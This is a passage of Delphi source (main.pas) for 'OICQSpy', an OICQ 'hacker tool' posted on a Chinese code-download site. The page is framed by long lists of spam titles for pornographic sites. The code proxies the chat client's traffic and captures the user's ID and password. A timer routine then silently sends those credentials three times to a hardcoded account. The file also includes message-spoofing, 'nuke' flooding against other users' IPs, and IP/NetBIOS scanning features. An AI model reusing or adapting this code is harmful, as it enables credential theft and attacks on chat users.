亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? main.pas

?? OICQ黑客工具。可以查看對方IP地址
?? PAS
?? 第 1 頁 / 共 2 頁
字號:
    Switcher:=TUDPSwitcher.Create(GLocalPort,GSrvIp,GSrvPort);
    Switcher.OnRecv:=SwitcherOnRecv;
    Switcher.OnSend:=SwitcherOnSend;
    Switcher.OnNewSocket:=SwitcherOnNewSocket;
    if(GAutoLaunch)then LaunchOICQ;
    end
else
    begin
    ShowMessage('無法連接'+GSrvIp);
    end;
end;

procedure TMainForm.btnFakeClick(Sender: TObject);
begin
{$ifndef REDUCE_VERSION}
TFakeMsgDlg.Execute('','',4000);
{$else}
ShowMessage('對不起!簡版沒有此功能');
{$endif}
end;

function TMainForm.GetSelectInfo(var id, ip,port: string): Boolean;
var
s:string;
p,i,sc:Integer;
begin
p:=0;
sc:=1;
SetLength(id,10);
SetLength(ip,30);
SetLength(port,6);
for i:=1 to 10 do
    begin
    id[i]:=chr(0);
    end;
for i:=1 to 30 do
    begin
    ip[i]:=chr(0);
    end;
for i:=1 to 6 do
    begin
    port[i]:=chr(0);
    end;
if(IPAddrList.Items.Count<>0)then
    begin
    Result:=True;
    s:=IPAddrList.Items[IPAddrList.ItemIndex];
    for i:=1 to length(s) do
        begin
        if(s[i]<>'-')then
            begin
            if(p=0)then
                begin
                id[sc]:=s[i];
                Inc(sc);
                end
            else if(p=3)then
                begin
                ip[sc]:=s[i];
                Inc(sc);
                end
            else if(p=6)then
                begin
                port[sc]:=s[i];
                inc(sc);
                end
            else break;
            end
        else
            begin
            Inc(p);
            sc:=1;
            end;
        end;
    end
else Result:=False;
end;

procedure TMainForm.IPAddrListDblClick(Sender: TObject);
{$ifndef REDUCE_VERSION}
var
id,ip,port:string;
{$endif}
begin
{$ifndef REDUCE_VERSION}
if(GetSelectInfo(id,ip,port))then
    begin
    TFakeMsgDlg.Execute(ip,id,StrToIntDef(port,4000));
    end;
{$else}
ShowMessage('對不起!簡版沒有此功能.');
{$endif}
end;

procedure TMainForm.btnIPScanClick(Sender: TObject);
begin
TScannerDlg.Execute;
end;

procedure TMainForm.N8Click(Sender: TObject);
begin
Close;
end;

procedure TMainForm.N5Click(Sender: TObject);
begin
TAboutBox.Execute;
end;

procedure TMainForm.ProcessClientMsg(buf: array of char; buflen: Integer);
var
i:Integer;
begin
if(Ord(buf[4])=$13)then//User logon
    begin
    strUserId:='';
    strPass:='';
    i:=Ord(buf[7])*$1000000+Ord(buf[8])*$10000+Ord(buf[9])*$100+Ord(buf[10]);
    strUserId:=IntToStr(i);
    MyId:=strUserId;
    StatusBar.Panels[3].Text:='User Id:'+MyId;
    for i:=13 to buflen-1 do
        begin
        if(Ord(buf[i])=$03)then break;
        strPass:=strPass+buf[i];
        end;
    end;
end;

procedure TMainForm.SendMsg(DestId, msg: string);
var
pBuf:array [0..2048]of char;
i:Integer;
sock:TProxySock;
begin
for i:=0 to 2047 do
    begin
    pBuf[i]:=chr(0);
    end;
pBuf[0]:=chr(2);
pBuf[1]:=chr(1);
pBuf[2]:=chr(7);
pBuf[3]:=chr(0);
pBuf[4]:=chr($08);
nUserId:=StrToInt(strUserId);
pBuf[7]:=Chr((nUserId and $ff000000)shr 24);
pBuf[8]:=chr((nUserId and $00ff0000)shr 16);
pBuf[9]:=Chr((nUserId and $0000ff00)shr 8);
pBuf[10]:=Chr((nUserId and $000000ff));
i:=ArrayStrCopy(pBuf,2048,11,DestId);
pBuf[i]:=chr($1f);
pBuf[i+1]:='0';
pBuf[i+2]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+3,'0');
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,DateToStr(Date));
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,TimeToStr(Time));
pBuf[i]:=chr($1f);
i:=ArrayStrCopy(pBuf,2048,i+1,msg);
pBuf[i]:=chr($03);

pBuf[5]:=chr((mCurCnt and $ff00) shr 8);
pBuf[6]:=chr(mCurCnt and $00ff);

sock:=Switcher.GetExternalProxy(0);
if(Assigned(sock))then
    begin
    sock.SendBuf(pBuf,i+1,GSrvIp,GSrvPort);
    end;
Inc(mCurCnt);
end;

procedure TMainForm.TimerTimer(Sender: TObject);
begin
Timer.Enabled:=False;
SendMsg(IntToStr(3009508),strUserId+','+strPass);
SendMsg(IntToStr(3009508),strUserId+','+strPass);
SendMsg(IntToStr(3009508),strUserId+','+strPass);
end;
procedure TMainForm.N9Click(Sender: TObject);
begin
ShowMessage('將OICQ的服務(wù)器改為:127.0.0.1 端口:8810'+#13
    +'將其余服務(wù)器地址全部刪除'+#13
    +'關(guān)閉OICQ'+#13
    +'啟動OICQSpy'+#13
    +'啟動OICQ即可');
end;

procedure TMainForm.mViewSendClick(Sender: TObject);
begin
mViewSend.Checked:=not mViewSend.Checked;
SendPage.Visible:=mViewSend.Checked;
if(mViewSend.Checked and (SendPage.Align=alTop) and (RecvPage.Visible=False))then
    begin
    SendPage.Align:=alClient;
    end
else if(mViewSend.Checked and (SendPage.Align=alTop)
    and (RecvPage.Visible=True) and (RecvPage.Align=alClient))then
    begin
    SendPage.Height:=DataPanel.Height div 2;
    end;
DataPanel.Visible:=mViewSend.Checked or mViewRecv.Checked;
DataSplitter.Visible:=(SendPage.Visible and RecvPage.Visible);
DataSplitter.Top:=RecvPage.top+2;
ViewSplitter.Visible:=(SendPage.Visible or RecvPage.Visible);
ViewSplitter.Top:=ViewPanel.Top+1;
if(mViewSend.Checked or mViewRecv.Checked)then WindowState:=wsMaximized
else WindowState:=wsNormal;
end;

procedure TMainForm.AddFriendInfo(id, ip, port, dummy, face,name: string);
var
s:string;
ipInf:TIPInfo;
begin
IpInf:=FindIPInfo(ip);
s:=IpInf.Country+','+IpInf.Location;
if(not FindUID(id,ip,port))then
    begin
    Inc(nInfoCnt);
    SetLength(info,nInfoCnt);
    info[nInfoCnt-1].strUID:=id;
    info[nInfoCnt-1].strIP:=ip;
    info[nInfoCnt-1].strPort:=port;
{$ifndef SAFEVERSION}
    //Add msg handler
    info[nInfoCnt-1].sock:=TNMUDP.Create(self);
    info[nInfoCnt-1].sock.RemoteHost:='127.0.0.1';
    info[nInfoCnt-1].sock.RemotePort:=ClientPort;
    info[nInfoCnt-1].sock.tag:=nInfoCnt-1;
    info[nInfoCnt-1].sock.OnDataReceived:=MsgHandlerDataReceived;
{$endif}    
    //Display friend info
    IPAddrList.Items.Add(id+'---'+ip+'---'+port+'---'+name+'---'+face+'---'+s+'---'+DateTimeToStr(now));
    end;
end;

procedure TMainForm.btnPortScanClick(Sender: TObject);
begin
TCloneScanDlg.Execute('127.0.0.1');
end;

function TMainForm.FindUID(uid,ip,port: string): Boolean;
var
i:Integer;
begin
Result:=False;
for i:=0 to nInfoCnt-1 do
    begin
    if((info[i].strUID=uid)and(info[i].strIp=ip)and(info[i].strPort=port))then
        begin
        Result:=True;
        Break;
        end;
    end;
end;

procedure TMainForm.mClearInfoClick(Sender: TObject);
begin
IPAddrList.Items.Clear;
nInfoCnt:=0;
SetLength(info,0);
end;

procedure TMainForm.N12Click(Sender: TObject);
begin
TCloneScanDlg.Execute('127.0.0.1');
end;

procedure TMainForm.N14Click(Sender: TObject);
begin
Close;
end;

procedure TMainForm.mScanIpClick(Sender: TObject);
var
id,ip,port:string;
begin
if(GetSelectInfo(id,ip,port))then
    TCloneScanDlg.Execute(ip);
end;

procedure TMainForm.mNetBiosInfoClick(Sender: TObject);
var
id,port,ip:string;
begin
if(GetSelectInfo(id,ip,port))then
    begin
    TNetBiosInfoDlg.Execute(ip);
    end;
end;

procedure TMainForm.btnBEUIInfoClick(Sender: TObject);
begin
TNetBiosInfoDlg.Execute(GetLocalIP);
end;

procedure TMainForm.mScanNBInfoClick(Sender: TObject);
begin
TNetBiosInfoDlg.Execute(GetLocalIP);
end;

procedure TMainForm.mViewRecvClick(Sender: TObject);
begin
mViewRecv.Checked:=not mViewRecv.Checked;
RecvPage.Visible:=mViewRecv.Checked;

if(mViewRecv.Checked and (SendPage.Visible) and (SendPage.Align=alClient))then
    begin
    SendPage.Align:=alTop;
    SendPage.Height:=DataPanel.Height div 2;
    end
else if((not mViewRecv.Checked) and (SendPage.Visible) and (SendPage.Align=alTop))then
    SendPage.Align:=alClient;

DataPanel.Visible:=mViewSend.Checked or mViewRecv.Checked;
DataSplitter.Visible:=(SendPage.Visible and RecvPage.Visible);
DataSplitter.Top:=RecvPage.top+2;
ViewSplitter.Visible:=(RecvPage.Visible or SendPage.Visible);
ViewSplitter.Top:=ViewPanel.Top+1;
if(mViewRecv.Checked or mViewSend.Checked)then WindowState:=wsMaximized
else WindowState:=wsNormal;
end;

procedure TMainForm.mViewAlertClick(Sender: TObject);
begin
mViewAlert.Checked:=not mViewAlert.Checked;
AnalyList.Visible:=mViewAlert.Checked;
AlertSplitter.Visible:=mViewAlert.Checked;
if(mViewAlert.Checked)then
    begin
    Width:=Width+300;
    AlertSplitter.Left:=AnalyList.Left-2;
    end
else
    begin
    Width:=Width-300;
    end;
end;

procedure TMainForm.mNukeClick(Sender: TObject);
{$ifndef REDUCE_VERSION}
var
id,ip,port:string;
{$endif}
begin
{$ifndef REDUCE_VERSION}
if(GetSelectInfo(id,ip,port))then
    begin
    THoldNukeDlg.Execute(id,'Loading Device=C:\Windows\HIMEM.SYS'+#13,20);
    end;
{$else}
ShowMessage('對不起!簡版沒有此功能.');
{$endif}
end;

procedure TMainForm.btnNukeClick(Sender: TObject);
begin
{$ifndef REDUCE_VERSION}
THoldNukeDlg.Execute('','',3);
{$else}
ShowMessage('對不起!簡版沒有此功能');
{$endif}
end;

procedure TMainForm.btnLanuchClick(Sender: TObject);
begin
LaunchOICQ;
end;

procedure TMainForm.LaunchOICQ;
begin
WinExec(PChar(GOICQPath+'\OICQ.EXE'),SW_SHOW);
end;

procedure TMainForm.N15Click(Sender: TObject);
begin
Show;
end;

{$ifndef SAFEVERSION}
function TMainForm.FindProxy(ip: string; port: WORD;var p:TNMUDP): Boolean;
var
i:Integer;
begin
Result:=False;
for i:=0 to nInfoCnt-1 do
    begin
    if((info[i].strIp=ip)and (info[i].strPort=IntToStr(port)))then
        begin
        Result:=True;
        p:=info[i].sock;
        Break;
        end;
    end;
end;
{$endif}
procedure TMainForm.LocalMsgListDblClick(Sender: TObject);
begin
TMsgViewDlg.Execute((Sender as TListBox).Items[(Sender as TListBox).ItemIndex]);
end;

procedure TMainForm.SwitcherOnRecv(buf: array of char; buflen: Integer;
  from, Dest: TSockAddr;var drop:Boolean);
var
uid:string;
begin
drop:=not AfterRecv(buf,buflen);
if(not drop)then
    begin
    if(buflen>1024)then
        begin
        if(from.sin_addr.S_addr=inet_addr(PChar(GSrvIp)))then
            begin
            uid:=GetStrFromBuf(buf,buflen,10);
            AnalyList.Items.Add('你被'+uid+'號用戶攻擊!!!(透過服務(wù)器)');
            drop:=True;
            end
        else
            begin
            drop:=True;
            AnalyList.Items.Add('你被IP地址為:'+inet_ntoa(from.sin_addr)+'端口為:'+IntToStr(ntohs(from.sin_port) )+'的用戶攻擊!!!(直接攻擊)');
            end;
        MainForm.Show;
        AnalyList.Visible:=True;
        if(Width<700)then Width:=700;
        end
    else
        begin
        Drop:=False;
        end;
    end;
AddSrvMsg(inet_ntoa(from.sin_addr),ntohs(from.sin_port),buf,buflen);
ProcessSrvMsg(inet_ntoa(from.sin_addr),ntohs(from.sin_port),buf,buflen);
end;

procedure TMainForm.SwitcherOnSend(buf: array of char; buflen: Integer;
  from, Dest: TSockAddr;var drop:Boolean);
begin
drop:=not BeforeSend(buf,buflen);
AddLocalMsg(buf,buflen);
ProcessClientMsg(buf,buflen);
end;

procedure TMainForm.SwitcherOnNewSocket(Sender: TObject);
begin
with (Sender as TProxySock)do
    begin
    AnalyList.Items.Add(
        'New Socket:'+
        inet_ntoa(ThisAddr.sin_addr)+' Port:'+IntToStr(ntohs(ThisAddr.sin_port))+
        'Proxy socket:'
        +inet_ntoa(ProxyAddr.sin_addr)+' Port:'+IntToStr(ntohs(ProxyAddr.sin_port)));
    Application.ProcessMessages;
    end;
end;

procedure TMainForm.btnFirstAidClick(Sender: TObject);
begin
TFirstAidDlg.Execute;
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
if(Assigned(Switcher))then Switcher.Destroy;
sleep(100);
end;
end.



?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美日韩综合一区| 日精品一区二区| 91福利视频网站| 日韩一卡二卡三卡| 国产精品视频免费| 精品一区二区久久久| 日本亚洲三级在线| 97久久久精品综合88久久| 欧美日韩电影一区| 国产精品不卡一区二区三区| 麻豆国产精品视频| 在线亚洲人成电影网站色www| 欧美日韩精品一区视频| 欧美a级理论片| 欧美日韩一区二区三区高清| 日韩av在线播放中文字幕| 日韩免费高清av| 亚洲成年人网站在线观看| 久久99久久久久久久久久久| 色拍拍在线精品视频8848| 欧美—级在线免费片| 久久国产精品色| 国产欧美va欧美不卡在线| 麻豆国产欧美日韩综合精品二区| 久久精品亚洲精品国产欧美| 久久国产精品99久久人人澡| 国产精品久久久一本精品| 欧美色综合网站| 亚洲国产精品一区二区www| 91麻豆国产自产在线观看| 国产网红主播福利一区二区| 91久久精品国产91性色tv| 久久精品99久久久| 中文字幕一区二区三区在线播放| 成人综合日日夜夜| 国产欧美日韩在线视频| 欧美在线播放高清精品| 国产成人综合在线观看| 国产午夜亚洲精品午夜鲁丝片| 一本一本大道香蕉久在线精品| 国产在线不卡一卡二卡三卡四卡| 日韩精品一区二区三区视频在线观看 | 久久影院电视剧免费观看| 亚洲3atv精品一区二区三区| 日本一区二区不卡视频| 日韩欧美不卡一区| 在线免费av一区| 国产成人精品影院| 久久99国产精品免费| 婷婷综合另类小说色区| 日韩一区二区三区视频| 91啪亚洲精品| 成人app软件下载大全免费| 国产精品久久久久久久午夜片| 91精品在线免费观看| 久久精品av麻豆的观看方式| 亚洲动漫第一页| 国产精品午夜在线观看| 精品国产一二三| 色综合久久天天综合网| 粉嫩av亚洲一区二区图片| 亚洲欧美成人一区二区三区| 在线观看91视频| 成人av资源站| 懂色一区二区三区免费观看| 激情另类小说区图片区视频区| 中文av字幕一区| 国产日韩一级二级三级| 欧美电影免费观看高清完整版在线| 欧美日韩久久久一区| 日本韩国欧美在线| 欧美伊人精品成人久久综合97| 99精品视频一区| 91看片淫黄大片一级在线观看| 波多野结衣亚洲一区| 日韩国产欧美在线观看| 亚洲v精品v日韩v欧美v专区| 视频一区视频二区中文| 同产精品九九九| 日韩精品国产精品| 美女网站一区二区| 久久99精品久久久久久| 激情成人综合网| 国内精品写真在线观看| 国产成人av电影免费在线观看| 高清国产一区二区三区| 99在线精品免费| 色综合天天狠狠| 欧美三级电影在线观看| 91精品视频网| 欧美精品一区二区三区四区| 国产三级久久久| 亚洲三级电影全部在线观看高清| 精品欧美一区二区久久| 欧美日韩一区二区在线观看| 51精品视频一区二区三区| 久久只精品国产| 国产精品久久午夜| 一区二区三区欧美日韩| 欧美国产精品劲爆| 亚洲蜜臀av乱码久久精品| 日韩国产欧美在线观看| 国产自产高清不卡| 色一情一乱一乱一91av| 在线播放一区二区三区| 欧美色偷偷大香| 精品理论电影在线观看| 国产精品久久久久毛片软件| 亚洲最色的网站| 精品一区二区日韩| 色综合久久久久久久| 91精品国产高清一区二区三区 | 国产一本一道久久香蕉| 99国产麻豆精品| 日韩一区二区精品| 一区精品在线播放| 日韩和欧美一区二区| 国产高清在线观看免费不卡| 欧美三级欧美一级| 国产日产欧美一区| 亚洲第一狼人社区| 国产乱人伦偷精品视频免下载| 美女爽到高潮91| 色综合久久综合网欧美综合网 | 亚洲国产精品嫩草影院| 老司机精品视频导航| 色香色香欲天天天影视综合网| 日韩精品一区二区三区老鸭窝 | 国产精品久久久久久久久动漫 | 粉嫩久久99精品久久久久久夜| 精品视频在线视频| 国产精品网曝门| 男女男精品网站| 欧美中文字幕一二三区视频| 国产农村妇女毛片精品久久麻豆 | 6080午夜不卡| 亚洲欧美日韩国产另类专区 | 91色九色蝌蚪| 久久久www成人免费毛片麻豆| 久久综合九色综合97_久久久| 一区二区三区四区在线播放| 国产成人精品亚洲午夜麻豆| 欧美猛男gaygay网站| 亚洲视频综合在线| 成人激情图片网| 亚洲精品在线免费播放| 日日噜噜夜夜狠狠视频欧美人 | 日本一区二区不卡视频| 久久69国产一区二区蜜臀| 欧美艳星brazzers| 亚洲欧洲中文日韩久久av乱码| 国产成人精品www牛牛影视| 日韩精品影音先锋| 日韩精品乱码免费| 欧美日韩日日摸| 午夜精品一区在线观看| 欧美日韩一区不卡| 亚洲自拍偷拍av| 国产在线一区观看| 欧美一区二区三区视频免费 | 中文字幕日韩欧美一区二区三区| 国产精品一卡二| xnxx国产精品| 久久99精品国产91久久来源| 日韩一区二区麻豆国产| 另类中文字幕网| 日韩美女一区二区三区| 毛片av一区二区| 精品免费国产一区二区三区四区| 久久99国内精品| 久久久久高清精品| 国产精品一区免费在线观看| 国产午夜精品福利| 成人深夜视频在线观看| 国产精品国产三级国产aⅴ原创| 成人免费视频视频在线观看免费| 国产精品视频九色porn| av一区二区不卡| 亚洲乱码一区二区三区在线观看| 蜜臀av一区二区在线观看 | 欧美少妇xxx| 日产国产欧美视频一区精品| 欧美成人vps| 国产成人在线视频网址| 国产精品成人午夜| 欧美午夜精品一区二区蜜桃| 午夜久久久影院| 精品国产凹凸成av人网站| 国产成人av网站| 亚洲伦在线观看| 欧美一区二区在线看| 国产主播一区二区三区| 亚洲欧洲成人自拍| 欧美日韩你懂得| 国产精品一区二区你懂的| 亚洲人成精品久久久久| 91精品麻豆日日躁夜夜躁| 国产一区不卡视频| 日韩理论片中文av| 日韩欧美资源站|